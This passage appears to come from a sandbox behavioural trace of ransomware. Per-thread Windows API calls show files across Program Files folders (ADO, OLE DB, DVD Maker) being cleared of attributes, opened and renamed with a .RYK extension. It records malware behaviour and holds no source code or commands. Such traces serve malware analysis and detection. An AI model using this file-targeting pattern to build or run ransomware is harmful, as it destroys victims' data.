	[0168.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x80) returned 0
	[0168.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.488] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), lpNewFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.RYK" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 631
	os_tid = 0x10e0


Thread:
	id = 632
	os_tid = 0x10e4

	[0168.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", dwFileAttributes=0x80) returned 0
	[0168.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 633
	os_tid = 0x10e8

	[0168.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", dwFileAttributes=0x80) returned 0
	[0168.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.997] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 634
	os_tid = 0x10ec

	[0168.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", dwFileAttributes=0x80) returned 0
	[0169.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.156] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 636
	os_tid = 0x10f8

	[0169.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", dwFileAttributes=0x80) returned 0
	[0169.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.154] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 637
	os_tid = 0x10fc

	[0169.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", dwFileAttributes=0x80) returned 0
	[0169.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 638
	os_tid = 0x1100

	[0169.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", dwFileAttributes=0x80) returned 0
	[0169.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.004] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 639
	os_tid = 0x1104

	[0169.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", dwFileAttributes=0x80) returned 0
	[0169.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.007] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 640
	os_tid = 0x1108

	[0169.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", dwFileAttributes=0x80) returned 0
	[0169.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.009] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 641
	os_tid = 0x110c

	[0169.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", dwFileAttributes=0x80) returned 0
	[0169.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.151] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 642
	os_tid = 0x1110

	[0169.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", dwFileAttributes=0x80) returned 0
	[0169.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.077] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 661
	os_tid = 0x1114

	[0169.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", dwFileAttributes=0x80) returned 0
	[0169.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.669] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.RYK" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 662
	os_tid = 0x1118

	[0169.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", dwFileAttributes=0x80) returned 0
	[0169.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.667] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.RYK" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 663
	os_tid = 0x111c

	[0169.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg", dwFileAttributes=0x80) returned 0
	[0170.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.058] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.RYK" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 664
	os_tid = 0x1120

	[0169.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg", dwFileAttributes=0x80) returned 0
	[0169.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.761] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.RYK" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 665
	os_tid = 0x1124

	[0169.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui", dwFileAttributes=0x80) returned 0
	[0169.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.766] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 666
	os_tid = 0x1128

	[0170.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", dwFileAttributes=0x80) returned 0
	[0170.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.088] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 667
	os_tid = 0x112c

	[0170.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", dwFileAttributes=0x80) returned 0
	[0170.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.279] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 668
	os_tid = 0x1130

	[0170.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", dwFileAttributes=0x80) returned 0
	[0170.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.281] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 669
	os_tid = 0x1134

	[0170.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", dwFileAttributes=0x80) returned 0
	[0170.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.282] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 670
	os_tid = 0x1138

	[0170.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", dwFileAttributes=0x80) returned 0
	[0170.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.284] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 671
	os_tid = 0x113c

	[0170.095] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax", dwFileAttributes=0x80) returned 0
	[0170.098] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.099] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.RYK" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 672
	os_tid = 0x1140

	[0170.100] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF", dwFileAttributes=0x80) returned 0
	[0170.323] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), lpNewFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF.RYK" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 673
	os_tid = 0x1144

	[0170.325] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax", dwFileAttributes=0x80) returned 0
	[0170.325] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax.RYK" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 675
	os_tid = 0x115c

	[0170.734] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF", dwFileAttributes=0x80) returned 0
	[0170.734] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.734] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), lpNewFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF.RYK" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 676
	os_tid = 0x1160

	[0170.736] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax", dwFileAttributes=0x80) returned 0
	[0170.882] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.883] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax.RYK" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 677
	os_tid = 0x1164

	[0170.738] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax", dwFileAttributes=0x80) returned 0
	[0170.884] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.885] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\offset.ax.RYK" (normalized: "c:\\program files\\dvd maker\\offset.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 678
	os_tid = 0x1168

	[0170.739] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax", dwFileAttributes=0x80) returned 0
	[0170.886] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.887] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax.RYK" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 679
	os_tid = 0x116c

	[0170.740] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax", dwFileAttributes=0x80) returned 0
	[0170.889] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.889] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax.RYK" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 680
	os_tid = 0x1170

	[0170.742] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF", dwFileAttributes=0x80) returned 0
	[0170.742] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.743] CloseHandle (hObject=0xffffffffffffffff) returned 0
